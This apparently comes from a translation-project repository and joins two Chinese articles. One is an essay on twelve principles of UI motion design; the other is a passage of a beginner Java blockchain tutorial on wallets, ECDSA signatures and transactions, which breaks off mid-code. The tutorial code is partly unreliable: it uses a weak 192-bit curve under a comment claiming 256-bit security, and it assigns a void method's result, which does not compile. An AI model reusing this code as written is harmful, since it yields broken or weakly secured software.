**技术**可以认为是原则或原则组合的各种无限制的执行。我觉得技术类似于“风格”。 **特性**则是特定的对象因素来将技术转化为现实。这些包括(但不限于)位置、不透明度、比例、旋转角度、定位点、色彩、笔画宽度、形状等等。 **值**是随时间而变化的实际数值属性值,用以创建我们所称的“动画”。 所以在这里先停一下(再往前说一点),我们可以说一个假想的动画参考是利用遮罩和“毛玻璃”技术:模糊 25px,不透明度 70%。 现在我们有些可利用的工具。更重要的是,有些语言工具对于任何其他特殊原型工具来说都是不可知的。 ### UX 动效中的12原理 ### 缓动、偏移和延迟都和**时间**有关。父子关系涉及到的**对象关系**。变形、值变化、遮罩、覆盖和生成都与**对象一致性**有关。视差与**时态层次**有关。蒙层,多维化以及镜头平移与缩放都与**空间一致性**有关。 #### **原理1:缓动** #### **当时序事件发生时,对象行为与用户期望一致。** 所有界面对象表现出时间的行为(无论是实时或非实时),都很舒缓。缓动营造并加强用户体验的“自然主义”内在,并在对象表现**符合用户期待时**营造出一种统一连续的感觉。**顺便一说**,**迪士尼把这叫做“[缓进缓出](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Slow_In_and_Slow_Out)**”。 左边有直线运动的例子看起来很“糟糕”。上面的第一个有**缓动**动效的例子看起来“很好”。 上述三个例子都有相同数量的帧,而且时长完全相同。唯一的区别就是它们的舒缓度。 作为设计师来思考可用性,我们需要对自身严格要求,提出疑问,美感角度之外,哪个例子对可用性支持来说更好? 我这里呈现的例子是一定程度的拟物设计更为自然舒缓。你可以想象一个“缓动梯度”,即低于用户期望的行为导致更差的可用性交互。在恰当的缓动的动效案例中,用户体验动效本身是不着痕迹的,几乎难以察觉——这很棒,因为它不会因此而**分散注意力**。线性运动很明显,感觉也有一些……不完善,不和谐,让人分神。 现在我将在这里彻底反驳我(刚才)的观点,谈谈右边的例子。动效并**不是**不着痕迹的。实际上,它的感觉是被“设计”过的。我们注意到这个对象是如何停顿的。它给人的感觉很不一样,然而它还是比直线运动的例子感觉上更“对劲”。 你能在不再支持(甚至破坏)可用性的状况下依然坚持利用缓动吗?答案是会。而且有很多种方法。一种是设定时间。如果你的时间设定得太慢(大概借用一下 [Pasquele](https://medium.com/@pasql) ),或者太快,体验就会被破坏,而且分散掉用户的注意力。同理,如果你的缓动效果偏离了品牌或者是综合体验的话,也会对体验和无缝感带来负面影响。 我想给你看的是一个在提到缓动之时充满机会的世界。也有字面意思上的“舒缓”,作为一个设计师,你可以在无数项目中进行实践。所有的这些宽松都有自己在用户触发时有自己期望的响应。 总结:什么时候使用缓动方式?任何时候。 #### 原理2:分隔&延迟 #### **在引入新元素和场景时定义对象关系和层次结构。** 分隔和延迟是 UI 动画两大原则中的第二个,它深受迪士尼动画原则的影响,这里出自“[动作跟随与重叠](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Follow_Through_and_Overlapping_Action)。” 这一点很重要,值得注意。然而,这种操作在执行中也有相似之处,目的和结果不同。迪士尼的原则指导出了“更吸引人的动画”,而 UI 动效原则引导了更具可用性的体验。 这个原则的作用是可以通过告知用户界面中界面的性质来预先进行成功设置。上面提到的叙述是:上面两个对象是统一的,底层的则是分开的。也许前两个对象会是一个非交互的图像或者文本,而底层对象是个按钮。 甚至在用户了解这些对象都**是什么**之前,设计师们已经通过动效传达给 ta 了:这些对象都是“分开的”。这就很厉害了。 Credit: [InVision](https://dribbble.com/InVisionApp) 在上面的例子中,浮动按钮(FAB)成了包含三个按钮的主导航元素。因为按钮之间相互“独立”,它们最终通过自己的“独立”来支持可用性。换言之,设计师在利用时间本身来说明——甚至在用户了解这些对象都是什么之前——这些对象是相互独立的。这有告知用户界面中对象部分性质的效果,完全独立于视觉设计。 为了更好地给你展示它是如何工作的,我会给你举一个没有依照分隔与延迟原则的例子。 Credit: [Jordi Verdu](https://dribbble.com/jordiverdu) 在上述案例中,静态的视觉设计告诉我们背景上有图标。假设图标都是分开的,有不同的功能。但动画和这个是矛盾的。 图标被暂时分组成行而且被认为是单一的对象。它们的标题也同样被列为行,也表现为单一对象。这个动画告诉用户的是眼睛看不到的东西。在这中情况下,我们可以说,这时此界面中的对象不可用。 #### 原理3:父子关系 #### **在多个对象交互时创造时间和空间层次关系。** 父子关系是一个意义重大的原则——“串联”用户界面中的对象。在上面的例子中,顶部的“比例”和“定位点”属性或者底部的“子对象”,以及“父对象”都是如此 父子关系是对象属性与其它对象属性的连接。这可以创建对象关系和层次结构,以支持可用性。 父子关系还可以让设计师们能够在向用户穿搭对象关系性质的时候更好的协调用户界面中的时间事件。 再想想那些包括以下这些在内的对象属性——比例、透明度、定位点、旋转角度、形状、颜色、数值属性,等等。这些属性中的任何一个都可以与其它属性连接,并在用户体验中营造出协调的情景。 Credit: [Andrew J Lee](https://dribbble.com/lee_aj) , [Frank Rapacciuolo](https://dribbble.com/frankiefreesbie) 在上面左边的例子中,“面”元素的“y 轴”属性就是圆指针“x 轴”属性的“子级”。当圆指针沿水平方向运动时,它的“子元素”沿水平方向垂直移动(while being Masked — another Principle). 其结果是同一层次同一时空的描述框架同时发生。 值得注意的是,“面”的对象数值都被分别 “锁定”,“面”是完全不可见的。用户体会到了无缝的感觉,尽管在这个例子中我们可以说这是一个微妙的“可用性骗局”。 继承性功能最好作为实时交互。当用户直接操纵界面对象时,就是设计者在通过动画与用户交流——对象是如何连接的,以及它们之间是何种关系。 父子关系有三种形式:“直接联系”(看上面的两个例子),“延迟的联系”,和“相反的联系”‘(往下看)。 延迟的联系 (Credit: [AgenceMe](https://dribbble.com/AgenceMe) ) 和 相反的联系 (Credit: [AgenceMe](https://dribbble.com/AgenceMe) ) #### 原理4:变形 #### **在对象作用发生变化时,创建一个连续的叙事流状态。** 很多人已经写过了 UX 动效原则中的“变形”。在某些方面,这是最明显最容易被看到的动画原则。 变形非常明显,因为它很突出。我们可以看到一个“提交”按钮的形状变成了一个横向的进度条,并且最终变成了确认检查的标志。它抓住了我们的注意,讲述了一个事件,并最终完成。 Credit: [Colin Garven](https://dribbble.com/ColinGarven) 变形的作用是在不同的 UX 状态或者“这是”(就像**这是**一个按钮,**这是**一个横向进度条,**这是**一个复选标记)之间为用户提供无缝过渡。这最终都会导致预期的结果。用户被安排通过这些功能来达到最终目的。 “模块”的变化产生的影响适当地将用户体验中的关键时间点分离成为一个无缝和连续的事件序列。这种无缝的体验会带来更好的用户感知,记忆,以及后续行为 #### 原理5:数值变化 #### **当值的主体发生变化时,产生动态的、连续的叙事关系。** 基于文本的界面对象,即数字和文本,可以改变它们的值。这就是“难以察觉的寻常“中的一个。 文本和数字的变化太过常见,以至于它们可以在我们未曾区分并谨慎评估它们在支持可用性中的角色的时候就被它们越过了。 那么,值发生变化时的用户体验是什么?在用户体验中,UX 动效的12法则是支持可用性的有利条件。这里的三个条件连接用户与数据背后的**现实**,有代理的意思,以及值本身的动态特性。 我们看看 dashboard 的例子。 当基于数值的界面对象在没有**数值变化**时加载,传递给用户的数字是静态对象。它们就像是显示限速每小时55英里的油漆标志牌。 数字和值都是**事实**发生的事件的表征。这个事实可以是时间、收入、游戏分数、商业指标、运动跟踪。我们通过动画来区分的是动态的“值的主体”,以及那些反映了动态值的集合的某些东西。 这种关系不仅失去了静态对象的视觉价值,也失去了一个更深层次的有利条件。 当我们采用基于动态值的形式来进行动态系统陈述的时候,它触发了一种“神经反馈”。用户掌握了他们的数据的动态属性。现在可以通过授权**代理**来改变这些数值。当值为静态的时候,它与其背后的**事实**联系较少,用户失去了**代理权**。 Credit: [Barthelemy Chalvet](https://dribbble.com/BarthelemyChalvet), [Gal Shir](https://dribbble.com/galshir) , Unknown 在实时和非实时事件中都可能出现数值变化。在实时事件中,用户与对象交互来更改值。在非实时事件中,比如加载和转换,值的变化来源不靠用户的输入来反映动态叙述。 #### 原理6:遮罩 #### **在功能取决于对象或组的哪一部分显示或隐藏时创造一个界面对象或者一组对象的连续性。** 遮罩请求的**表现**可以被认为是对象的形状和它的功能之间的关系。 因为设计师们对静态设计的情景下对这招很熟悉,我们应当区别 UX 动效准则“遮罩”出现的时间。作为一种**表现**,而非**状态**。 利用显示和隐藏对象来使用时序化,功能的连续,以及无缝转换。这也有保持叙事流的效果。 Credit: [Anish Chandran](https://dribbble.com/anish_chandran) 在上面的例子中,顶部图片的形状和位置发生了变化,而非内容,它变成了一张专辑。这具有改变对象**为何物**的作用,同时保留被掩盖的内容——**相当巧妙的把戏**。它是非实时发生的,作为一个变化,在用户动作之后才回被激活。 记住,UI 动画原则的出现具有时序性,通过对连续性、叙事性、相互关联和期望来支持可用性。在上面所提到的内容里,当对象本身保持不变的时候,也会有边界和位置,而这两个要素则决定了对象是什么。 #### 原理7:覆盖 #### **在分层对象的位置有关联的时候营造叙事和视觉的平面对象空间关系。** 覆盖通过允许用户利用平面排序功能克服空间层次的缺乏来支持可用性。 为了安全着陆,覆盖让设计师通过动画来联系位置相关的排在后面或者前面的非3D空间中的对象。 Credit: [Bady](https://dribbble.com/bady), [Javi Pérez](https://dribbble.com/javiperez) 在左边的案例中,前景对象滑到了右侧来显示背后的附加对象的位置。而在右边的案例中,整个场景向下滑动来显示附加的内容和选项(同时还利用了分隔和延迟的准则来传达照片对象的特征)。 某种程度上来说,作为设计师,“层”的概念实在是不言自明。利用层和层的概念来做设计对于我们来说已经被深深内化了。然而,我们必须小心区别“创造”和“使用”的过程。 作为不断从事“创造”过程的设计师,我们对我们所设计的对象的每个部分(包括被隐藏的部分)都很了解。但作为用户,那些视觉和认知层次上都不可见的部分是定义和实践。 覆盖原则允许设计师表达“Z 轴”定位层之间的关系,以促使空间定位到他们的用户。 #### 原理8:生成 #### **在新的对象产生和消失的时候,创造连续性,关联,和叙事。** 在当前场景中创建新的对象时(来自当前对象),叙事性地解释其外观尤为重要。在这份宣言中,我强调了创建一个叙事框架的对象起源和出发的重要性。仅仅是对不同明度的调整达不到这种效果。遮罩、生成、以及数值的变化是三种基于可用性来产生强烈叙事性的方法。 Credit: [Jakub Antalík](https://dribbble.com/antalik) , [Jakub Antalík](https://dribbble.com/antalik) , Unknown 在上面的三个例子中,新的对象是在用户的注意力集中在这些对象上时,以现有的主要对象(为基准)创建的。这两个方法——注意力的引导,然后引导眼睛通过生成新的对象——具有沟通的清晰和明确的事件链的有力作用:动作“X”导致了创建新的子对象的“Y”结果。 #### 原理9: 蒙层 #### **允许用户空间层次而不是在主视觉层次中定位自己的对象或场景的关系。** 和 UX 相关的动效原理中的遮罩类似,蒙层同样作为一个静态的暂时现象。 这可能会让那些没有短暂思考经验的设计师感到混乱——就是在时刻**之间**的时刻。设计师通常所做的设计是屏幕到屏幕或任务到任务。可以将蒙层看做是遮蔽的**行为**,而非被遮蔽的**状态**。静态设计代表被遮的状态。引入时间给我们一个物体被遮的行为。 Credit: [Virgil Pana](https://dribbble.com/virgilpana), [Apple](http://www.apple.com/) 从上面两个例子中,我们可以看到,**看起来像**透明物体或覆盖物的蒙层,也是一个同时涉及多个属性的即时互动。 其中的模糊效果和减少对象整体的透明度设计到各种常见的技术。使用户理解这是她正在操作的一个另外的非主要情景——是另一个世界,就在她的主对象层次**之后**。 蒙层使设计者能够在用户体验中对单一统一的视野,或**目标导向**进行补充。 #### 原理10:视差 #### **在用户滚动界面时创造视觉空间层次。** “视差”作为一个 UX 动效原理之一,指界面中的不同对象以不同的速度移动。 视差允许用户专注于主要行动和内容,同时保持设计的完整性。背景元素在一个视差事件中为用户“提供”感知和认知。设计师可以使用视差分离出即时内容从环境或支持的内容。 Credit: [Austin Neill](https://dribbble.com/austinneill), [Michael Sevilla](https://dribbble.com/SVLA) 这对用户的影响,是明确定义**持续时间的互动**,各种对象的关系。前景对象,或移动“更快”的对象被认为离用户“更近”。同样,背景对象或对象移动“慢”被认为是“更远”。 设计人员可以利用时间来创建这些关系,告诉用户界面中的哪个对象具有更高的优先级。因此,将背景或非交互元素进一步“推回”是很有意义的。 不仅用户感知的界面对象在视觉设计中具有层次区分,这种层次结构现在可以利用来让用户在意识到设计内容之前掌握用户体验的**本意**。 #### 原理11:多维化 #### **当新的对象的产生和消失的时候提供了一个空间叙事框架。** 用户体验的关键是连续性的现象,以及对位置的感知。 多维化提供了克服用户体验的二维世界,非逻辑的有力途径。 人类非常善于利用空间框架来引导现实世界和数字世界中的体验。提供空间的起源和偏离参考有助于加强用户在用户体验中的心理模型。 此外,多维化原则在同一平面上的物体存在缺乏深度,发生在其它对象的“前面”或“后面”(的问题)上克服了视觉平面中的分层悖论。 多维化以三种方式呈现——折纸维度,浮动维度,以及对象维度。 **折纸维度**可以被认为是在“折叠”或“翻转”三维界面对象。 Examples of Origami Dimensionality (Credit: [Eddie Lobanovskiy](https://dribbble.com/lobanovskiy) , [Virgil Pana](https://dribbble.com/virgilpana)) 由于多个对象被组合成“折纸”结构,隐藏的对象仍然可以被称为“存在的”,即使它们在空间上是不可见的。这有效地将用户体验作为一个连续的空间事件:用户导航,创建一个运行环境中的交互模型,还有界面对象本身的时间特性。 **浮动维度** 给界面对象一个空间的起点和消失,使互动模式的更直观且保持高度叙事。 浮动维度的例子 (Credit: [Virgil Pana](https://dribbble.com/virgilpana) ) 在上面的例子中,维度是通过使用3D“卡片”实现的。这提供了一个支持可视化设计的强大叙事框架。叙事是延长卡片“翻转”访问额外的内容和交互性。维度是引入新的元素,尽量减少突发性的有力途径。 **对象维度**带来有真正的深度和形式的三维对象。 Examples of Object Dimensionality (Credit: [Issara Willenskomer](https://uxinmotion.net/) , [Creativedash](https://dribbble.com/Creativedash) ) 在这里,多个二维层被安排在三维空间,以形成真正的三维对象。他们的维度显示在实时和非实时的过渡时刻。对象维度的作用是用户开发基于非可见空间位置的对象效用的敏锐意识。 #### 原理12:镜头平移与缩放 #### **在导航界面对象和空间时保留连续性和空间叙述性。** 镜头平移与缩放是电影的概念中的相机和相关物体的运动,而画面本身的大小在画面上平稳地从长镜头变为特写镜头(反之亦然)。 在某些情况下,这是不可能的。比如对象缩放,物体在 3D 空间中朝着摄影机移动,或者是摄影机在 3D 空间中向着物体移动(参见下方参考)。下面的三个例子说明了可能的情况。 ![](https://cdn-images-1.medium.com/max/800/1*R9wPWQUu26wjibaTBUstqQ.gif) 这是移动摄像,缩放,或是摄像机的运动吗? 这种,是将“移动影像”和“变焦”的例子进行了分别处理。但类似的,他们也涉及连续元素和景深变化,满足了 UX 的动效设计原理:他们通过运动支持可用性。 ![](https://cdn-images-1.medium.com/max/400/1*I4yZ2k1zeo3qc9qrbn0LDw.gif) ![](https://cdn-images-1.medium.com/max/400/1*XVtnYMrp8LhGJzcsF0Lw7Q.gif) ![](https://cdn-images-1.medium.com/max/400/1*o2ellGNN8CTJbwUoJ0ts8Q.gif) 左边的两个图像是移动摄像,而右边的图像是变焦 **移动摄像** 是一个电影术语,适用于摄像机运动,无论是向或远离对象 (它也适用于水平的“跟踪”运动,但在可用性情景中的相关性较小)。 ![](https://cdn-images-1.medium.com/max/800/1*8TYALn5P87i2OuuZfhfELg.gif) Credit: [Apple](http://www.apple.com/) 在 UX 的空间中,这个动作可以指观众视角的改变,也可以指当对象改变位置时保持静止状态。移动摄像原理通过连续性和叙事,无缝过渡接口对象和目的地支持可用性。移动摄影还可以结合维度原理,从而产生更多更深入的空间体验并传达给用户当前视图的“前面”或“后面”的领域或内容。 **变焦** 是指既没有透视也不是物体在空间上移动的事件,而是指对象本身的缩放(或者我们看它的角度导致图像放大)。这传达给观者,额外的界面对象是“内部”其他对象或场景的感觉。 ![](https://cdn-images-1.medium.com/max/800/1*I6-dXGCq9cXjAZGyVOkXrA.gif) Credit: [Apple](http://www.apple.com/) 它可以无缝转换——实时或是非实时——来支持可用性。这种无缝使用移动摄影和变焦原理在创造空间的心理模型的情况下是很强大的。 如果你已经读到了这里,那么恭喜!这真是个野蛮的宣言。我希望这些加载的 gif 没有让你的浏览器陷入瘫痪。我也真的希望你找到一些对自己有价值的东西,一些对你的互动项目有利的新工具和优势。 希望你了解更多关于如何开始使用运动作为支持可用性的设计工具。 最后再插个广告:如果你想要我就令人激动的动效主题以及可用性在你的会议上发言或者为你的团队组织一个现场讨论的话,请移步[这里](https://uxinmotion.net/workshops-and-speaking/)。如果你想要在你所在城市参加课程,来[这里](https://uxinmotion.net/workshops-and-speaking/#classes)。最后,如果你想要向我咨询你的项目,可以看看[这里](https://uxinmotion.net/consulting/)。添加到我的列表,点击[这里](http://uxinmotion.net/joinnow)。 这份宣言离不开来自亚马逊的 [Kateryna Sitner](https://www.linkedin.com/in/katerynasitner/) 慷慨耐心的贡献和不断的反馈——非常感谢!特别致谢 [Alex Chang](https://www.linkedin.com/in/alexychang/),他的头脑风暴和坚持给了我莫大的支持,感谢来自微软的 [Bryan Mamaril](http://ficuscreative.com/) 的一双慧眼,感谢 Jeremey Hanson 的笔记编辑整理,感谢疯狂的 UI 动效大师 [Eric Braff](https://www.linkedin.com/in/eric-braff-276504b),[Artefact](http://artefactgroup.com/) 的 Rob Girling 的多年信任,[Matt Silverman](http://www.swordfish-sf.com/) 在 After Effects 会议上鼓动人心的讲话,良心室友 [Bradley Munkowitz](http://gmunk.com/) 为我带来 UI 设计的灵感,[Pasquale D’Silva](https://medium.com/@pasql) 关于动效的令人吃惊的文章,[Rebecca Ussai Henderson](https://medium.freecodecamp.com/@becca_u)对 UI 在编排方面的精彩论述, [Adrian Zumbrunnen](https://medium.com/@azumbrunnen) 在 UI 编排领域的佳作,[Wayne Greenfield](http://www.seattlekombucha.com/) 还有 [Christian Brodin](http://www.theapartmentinvestor.com/author/christian-brodin/) 不断推动我进步的策划兄弟。还有你们,不断创造灵性 gif 的成千上万的 UI 动画师们。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/creating-your-first-blockchain-with-java-part-2-transactions.md ================================================ > * 原文地址:[Jan 20 Creating Your First Blockchain with Java. Part 2 — Transactions](https://medium.com/programmers-blockchain/creating-your-first-blockchain-with-java-part-2-transactions-2cdac335e0ce) > * 原文作者:[Kass](https://medium.com/@cryptokass?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/creating-your-first-blockchain-with-java-part-2-transactions.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-your-first-blockchain-with-java-part-2-transactions.md) > * 译者:[IllllllIIl](https://github.com/IllllllIIl) > * 校对者:[jaymz1439](https://github.com/jaymz1439),[NeoyeElf](https://github.com/NeoyeElf) # 用 Java 创造你的第一个区块链之第二部分 —— 交易 这一系列教程的目的是帮助你们对区块链开发技术有一个大致的蓝图,你可以在这里找到教程的[**第一部分**](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)。 在教程的第二部分我们会: * **生成一个简单的钱包。** * **使用我们的区块链发送带有签名的交易。** * **自我陶醉。** **以上这些最终会造出我们自己的加密货币(类似那样吧)!** ![](https://cdn-images-1.medium.com/max/800/1*7qqSMkUfrrENWkqPUYVYYQ.gif) 不用担心这篇文章只是空谈,怎么说都比上一篇教程有更多干货!文长不看的话,可以直接看源码 [Github](https://github.com/CryptoKass/NoobChain-Tutorial-Part-2/tree/master/src/noobchain)。 *** [上一篇教程](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)我们说到,我们有了一个基本的可验证区块链。但是现在我们的区块链只能存储相当没用的数据信息。今天我们要将这些无用数据替换为交易数据(我们的区块将能够存储多次交易),这样我们便可以创造一个十分简单的加密货币。我们把这种新币叫做:“菜鸟币”(英文原文:noobcoin)。 * 这个教程假设你已经阅读过另一篇[教程](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)。 * 依赖:你需要导入 [**bounceycastle**](https://www.bouncycastle.org/latest_releases.html)([**这是一个简单的操作教程**](https://medium.com/@cryptokass/importing-bouncy-castle-into-eclipse-24e0dda55f21))和 [**GSON**](http://central.maven.org/maven2/com/google/code/gson/gson/2.8.2/gson-2.8.2.jar)。 ### 1.准备一个钱包 在加密货币中,货币所有权以交易的方式在区块链中转移,交易参与者持有资金的发送方和接收方的地址。**如果只是钱包的基本形式,钱包可以只存储这些地址信息。然而,大多数钱包在软件层面上也能够生成新的交易。** ![](https://cdn-images-1.medium.com/max/1000/1*ygobWJSoGiJ2uMh-sP0Nig.png) 不用担心关于交易部分的知识,我们很快会解释这些。 让我们创建一个 **Wallet** 类来持有我们的公钥和私钥信息: ``` package noobchain; import java.security.*; public class Wallet { public PrivateKey privateKey; public PublicKey publicKey; } ``` 请确保导入了 java.security.* 包 ! **这些公钥和私钥是用来干嘛的?** 对于我们的“菜鸟币”来说,公钥就是作为我们的地址。你可以与他人分享公钥以便能收到付款。而我们的私钥是用来对我们的交易进行签名,这样除了私钥的主人就没人可以偷花我们的菜鸟币。 **用户必须保管好自己的私钥!** 我们在交易的过程中也会发送出我们的公钥,公钥也可以用来验证我们的签名是否合法和数据是否被篡改。 ![](https://cdn-images-1.medium.com/max/1000/1*5bOYYuEgKPBNknyKeQQxNA.png) 私钥是用来对我们的数据进行签名,防止被篡改。公钥是用来验证这个签名。 我们以一对 **KeyPair** 的形式生成私钥和公钥。我们会采用[椭圆曲线密码学](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography)去生成我们的 **KeyPairs**。 我们在 Wallet 类中添加一个 _generateKeyPair()_ 方法,并且在构造方法中调用它: ``` package noobchain; import java.security.*; public class Wallet { public PrivateKey privateKey; public PublicKey publicKey; public Wallet(){ generateKeyPair(); } public void generateKeyPair() { try { KeyPairGenerator keyGen = KeyPairGenerator.getInstance("ECDSA","BC"); SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); ECGenParameterSpec ecSpec = new ECGenParameterSpec("prime192v1"); // 初始化 KeyGenerator 并且生成一对 KeyPair keyGen.initialize(ecSpec, random); //256 字节大小是可接受的安全等级 KeyPair keyPair = keyGen.generateKeyPair();       // 从 KeyPair中获取公钥和私钥 privateKey = keyPair.getPrivate(); publicKey = keyPair.getPublic(); }catch(Exception e) { throw new RuntimeException(e); } } } ``` 关于这个方法你所需要了解的就是它使用了 Java.security.KeyPairGenerator 去生成一个应用椭圆曲线密码学的 KeyPair。这个方法生成公钥和私钥并赋值到对应的公钥私钥对象。它很实用。 既然我们对 Wallet 类有了大致的认识,接下来看一下交易的部分。 ### 2. 交易和签名 每一个交易都包含一定大小的数据: * 资金发送方的公钥(地址)。 * 资金接受方的公钥(地址)。 * 要转账的资金数额。 * 输入,是上一次交易的引用,证明发送方有资金可以发送出去。 * 输出,是在交易中接收方收到的金额。 (在新交易中这些输出也会被当作是输入) * 一个加密的签名,证明地址的所有者是发送这个交易的人并且发送的数据没有被篡改。(例如,阻止第三方更改发送出去的数额) 让我们写一个新的 Transaction 类: ``` import java.security.*; import java.util.ArrayList; public class Transaction { public String transactionId; // 这个也是交易的哈希值 public PublicKey sender; // 发送方地址/公钥 public PublicKey reciepient; // 接受方地址/公钥 public float value; public byte[] signature; // 用来防止他人盗用我们钱包里的资金 public ArrayList inputs = new ArrayList(); public ArrayList outputs = new ArrayList(); private static int sequence = 0; // 对已生成交易个数的粗略计算 // 构造方法: public Transaction(PublicKey from, PublicKey to, float value, ArrayList inputs) { this.sender = from; this.reciepient = to; this.value = value; this.inputs = inputs; } // 用来计算交易的哈希值(可作为交易的 id) private String calulateHash() { sequence++; //increase the sequence to avoid 2 identical transactions having the same hash return StringUtil.applySha256( StringUtil.getStringFromKey(sender) + StringUtil.getStringFromKey(reciepient) + Float.toString(value) + sequence ); } } ``` 我们应该也写一个空的 **TransactionInput** 类和 **TransactionOutput** 类,我们之后会把它们补上。 我们的交易类也包含了生成/验证签名和验证交易的相关方法。 但等一下。。。 #### 这些签名的目的和工作方式是什么? **签名**在我们区块链中起到的**两个**很重要的工作就是: 第一,它们允许所有者去花他们的钱,第二,防止他人在新的一个区块被挖出来之前(进入到整个区块链),篡改他们已提交的交易。 > 私钥用来对数据进行签名,公钥用来验证它的合法性。 > **例如:**Bob 想给 Sally 两个菜鸟币,所以他们的钱包客户端生成这个交易并且递交给矿工,使其成为下一个区块的一部分。有一个矿工尝试把这两个币的接受人篡改为 John。然而,很幸运地是,Bob 已经用他的私钥把交易数据签名了,任何人使用 Bob 的公钥就能验证这个交易的数据是否被篡改了(其他人的公钥无法校验此交易)。 (从之前的代码中)我们可以看到我们的签名会包含很多字节的信息,所以我们创建一个生成这些信息的方法。首先我们在 **StringUtil** 类中写几个辅助方法: ``` //采用 ECDSA 签名并返回结果(以字节形式) public static byte[] applyECDSASig(PrivateKey privateKey, String input) { Signature dsa; byte[] output = new byte[0]; try { dsa = Signature.getInstance("ECDSA", "BC"); dsa.initSign(privateKey); byte[] strByte = input.getBytes(); dsa.update(strByte); byte[] realSig = dsa.sign(); output = realSig; } catch (Exception e) { throw new RuntimeException(e); } return output; } //验证一个字符串签名 public static boolean verifyECDSASig(PublicKey publicKey, String data, byte[] signature) { try { Signature ecdsaVerify = Signature.getInstance("ECDSA", "BC"); ecdsaVerify.initVerify(publicKey); ecdsaVerify.update(data.getBytes()); return ecdsaVerify.verify(signature); }catch(Exception e) { throw new RuntimeException(e); } } public static String getStringFromKey(Key key) { return Base64.getEncoder().encodeToString(key.getEncoded()); } ``` 不用过分地去弄懂这些方法具体怎么工作的。你真正要了解的是: applyECDSASig 方法接收发送方的私钥和字符串输入,进行签名并返回一个字节数组。verifyECDSASig 方法接收签名,公钥和字符串,根据签名的有效性返回 true 或 false。getStringFromKey 方法就是接受任何一种私钥,返回一个加密的字符串。 现在我们在 **Transaction** 类中使用这些签名相关的方法,添加 **generateSignature()** 和 **verifiySignature()** 方法。 ``` //对所有我们不想被篡改的数据进行签名 public void generateSignature(PrivateKey privateKey) { String data = StringUtil.getStringFromKey(sender) + StringUtil.getStringFromKey(reciepient) + Float.toString(value) ; signature = StringUtil.applyECDSASig(privateKey,data); } //验证我们已签名的数据 public boolean verifiySignature() { String data = StringUtil.getStringFromKey(sender) + StringUtil.getStringFromKey(reciepient) + Float.toString(value) ; return StringUtil.verifyECDSASig(sender, data, signature); } ``` 实际上,你可能想对更多信息加入签名,像输出/输入或是时间戳(但现在我们只想对最基本的信息进行签名)。 签名可以由矿工进行验证,就像一个新交易被验证后添加到一个区块中。 ![](https://cdn-images-1.medium.com/max/800/1*hWYSlaQWuak3Wya_81gy2w.gif) 当检查区块链的合法性的时候,我们同样也可以检查签名。 ### 3.测试钱包和签名: 现在我们快完成一半的工作量了,去测试一下吧。在 **NoobChain** 类中,添加一些新变量并替换掉 **main** 方法中的相应内容: ``` import java.security.Security; import java.util.ArrayList; import java.util.Base64; import com.google.gson.GsonBuilder; public class NoobChain { public static ArrayList blockchain = new ArrayList(); public static int difficulty = 5; public static Wallet walletA; public static Wallet walletB; public static void main(String[] args) { //设置 Bouncey castle 作为 Security Provider Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); //创建新的钱包 walletA = new Wallet(); walletB = new Wallet(); //测试公钥和私钥 System.out.println("Private and public keys:"); System.out.println(StringUtil.getStringFromKey(walletA.privateKey)); System.out.println(StringUtil.getStringFromKey(walletA.publicKey)); //生成从 WalletA 到 walletB 的测试交易 Transaction transaction = new Transaction(walletA.publicKey, walletB.publicKey, 5, null); transaction.signature = transaction.generateSignature(walletA.privateKey); //验证签名是否起作用并结合公钥验证 System.out.println("Is signature verified"); System.out.println(transaction.verifiySignature()); } ``` 请务必记得把 boncey castle 添加为 security provider。 我们创建了两个钱包,walletA 和 walletB,然后打印出 walletA 的私钥和公钥。生成了一个 Transaction 并使用 walletA 的公钥对其签名。然后就是希望一切能正常工作吧。 你的输出应该像这样子: ![](https://cdn-images-1.medium.com/max/800/1*60pXu88f-WyPbFYWIXU8iQ.png) 签名按照预想应该被验证为 true。 应该小小地表扬下自己了。现在我们只需创建/验证输出和输入,然后把交易存储在区块链中。 ### 4. 输入和输出 1:自己是怎么持有加密货币的 如果你想拥有一个比特币,那你要先收到一个比特币。交易账单不会真的把一个比特币加给你,也不会从发送方那里减去一个比特币。发送方有标识证明他/她之前收到过一个比特币,然后交易输出就会生成,显示一个比特币已经发送到你的地址(交易中的输入来源于之前交易的输出)。 > 你的钱包余额是你所有的未花费的交易输出。 在这点上我们会跟比特币的叫法一样,把未花费的交易输出称为:**UTXO**。 我们再写一个 **TransactionInput** 类: ``` public class TransactionInput { public String transactionOutputId; //把 TransactionOutputs 标识为对应的transactionId public TransactionOutput UTXO; //包括了所有未花费的交易输出 public TransactionInput(String transactionOutputId) { this.transactionOutputId = transactionOutputId; } } ``` 这个类会被用作未花费的 TransactionOutputs 的引用。transactionOutputId 被用来查找相关的 TransactionOutput,允许矿工检查你的所有权。 还有 **TransactionOutputs** 类: ``` import java.security.PublicKey; public class TransactionOutput { public String id; public PublicKey reciepient; //这些币的新持有者 public float value; //他们持有币的总额 public String parentTransactionId; //生成这个输出的之前交易的 id //构造方法 public TransactionOutput(PublicKey reciepient, float value, String parentTransactionId) { this.reciepient = reciepient; this.value = value; this.parentTransactionId = parentTransactionId; this.id = StringUtil.applySha256(StringUtil.getStringFromKey(reciepient)+Float.toString(value)+parentTransactionId); } //检查币是否属于你 public boolean isMine(PublicKey 